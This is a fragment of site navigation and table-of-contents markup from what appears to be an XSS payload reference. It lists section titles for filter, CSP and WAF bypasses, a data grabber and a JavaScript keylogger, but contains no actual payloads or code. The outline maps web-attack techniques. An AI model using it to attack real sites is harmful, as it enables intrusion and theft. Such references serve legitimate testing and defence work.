||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-dot-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass dot filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-parenthesis-for-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass parenthesis for string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-parenthesis-and-semi-colon" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass parenthesis and semi colon
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-onxxxx-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass onxxxx= blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-space-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass space filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-email-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass email filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-document-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass document blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-documentcookie-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass document.cookie blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-javascript-inside-a-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using javascript inside a string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-an-alternate-way-to-redirect" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using an alternate way to redirect
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-an-alternate-way-to-execute-an-alert" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using an alternate way to execute an alert
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-nothing" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass ">" using nothing
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-and-using-and" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass "<" and ">" using < and >
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-another-character" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass ";" using another character
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-html-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using HTML encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-katakana" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Katakana
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-cuneiform" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Cuneiform
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-lontara" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Lontara
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-ecmascript6" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using ECMAScript6
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-octal-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Octal encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-unicode" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Unicode
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-7" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-7
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-8" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-8
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-16be" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-16be
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-32" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-32
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-bom" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using BOM
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-weird-encoding-or-native-interpretation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using weird encoding or native interpretation
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-jsfuck" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using jsfuck
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#csp-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CSP Bypass
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="CSP Bypass">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP using JSONP from Google (Trick by @apfeifer27)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-labwallarmcom" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by lab.wallarm.com
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-rhynorater" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by Rhynorater
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-akita_zen" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by @akita_zen
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-404death" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by @404death
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#common-waf-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Common WAF Bypass
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Common WAF Bypass">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypasses-by-bohdan-korzhynskyi" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypasses by @Bohdan Korzhynskyi
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Cloudflare XSS Bypasses by @Bohdan Korzhynskyi">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#25st-january-2021" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
25st January 2021
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#21st-april-2020" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
21st April 2020
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#22nd-august-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
22nd August 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#5th-june-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
5th June 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#3rd-june-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
3rd June 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypass-22nd-march-2019-by-rakeshmane10" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypass-27th-february-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypass - 27th February 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#chrome-auditor-9th-august-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Chrome Auditor - 9th August 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-alra3ees-8th-march-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @Alra3ees- 8th March 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-c0d3g33k-11th-september-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @c0d3G33k - 11th September 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-daveysec-11th-may-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @daveysec - 11th May 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#akamai-waf-bypass-by-zseano-18th-june-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Akamai WAF Bypass by @zseano - 18th June 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#akamai-waf-bypass-by-s0md3v-28th-october-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Akamai WAF Bypass by @s0md3v - 28th October 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#wordfence-waf-bypass-by-brutelogic-12th-september-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
WordFence WAF Bypass by @brutelogic - 12th September 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#fortiweb-waf-bypass-by-rezaduty-9th-july-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Fortiweb WAF Bypass by @rezaduty - 9th July 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="XSS%20in%20Angular/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS in Angular and AngularJS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS with Relative Path Overwrite - IE 8/9 and lower
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XXE Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_57">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XXE Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XXE%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XML External Entity
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LEARNING AND SOCIALS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_58">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LEARNING AND SOCIALS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Books
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Twitter
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Youtube
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
template vuln
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_59">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
template vuln
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_template_vuln/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Title
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#vulnerability-details" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Vulnerability Details
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploit-code-or-poc" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploit code or POC
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploit code or POC">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#data-grabber-for-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Data grabber for XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cors" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CORS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#ui-redressing" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
UI redressing
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#javascript-keylogger" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Javascript keylogger
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#other-ways" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Other ways
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#identify-an-xss-endpoint" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Identify an XSS endpoint
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Identify an XSS endpoint">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-htmlapplications" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in HTML/Applications
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XSS in HTML/Applications">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#common-payloads" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Common Payloads
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-using-html5-tags" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS using HTML5 tags
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-using-a-remote-js" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS using a remote JS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-hidden-input" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in hidden input
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-when-payload-is-reflected-capitalized" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS when payload is reflected capitalized
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#dom-based-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
DOM based XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-js-context" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in JS Context
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-wrappers-javascript-and-data-uri" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in wrappers javascript and data URI
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XSS in files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-xml" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in XML
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-svg" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SVG
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-svg-short" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SVG (short)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-markdown" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in Markdown
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-swf-flash-application" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SWF flash application
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-swf-flash-application_1" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SWF flash application
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-css" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in CSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-postmessage" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in PostMessage
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#blind-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Blind XSS
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Blind XSS">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-hunter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS Hunter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#other-blind-xss-tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Other Blind XSS tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#blind-xss-endpoint" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Blind XSS endpoint
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tips" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tips
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#mutated-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Mutated XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#polyglot-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Polyglot XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#filter-bypass-and-exotic-payloads" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Filter Bypass and exotic payloads
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Filter Bypass and exotic payloads">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-case-sensitive" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass case sensitive
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-tag-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass tag blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-word-blacklist-with-code-evaluation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass word blacklist with code evaluation
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-incomplete-html-tag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass with incomplete html tag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-for-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes for string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-in-script-tag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes in script tag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-in-mousedown-event" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes in mousedown event
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-dot-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass dot filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-parenthesis-for-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass parenthesis for string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-parenthesis-and-semi-colon" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass parenthesis and semi colon
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-onxxxx-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass onxxxx= blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-space-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass space filter
|
||
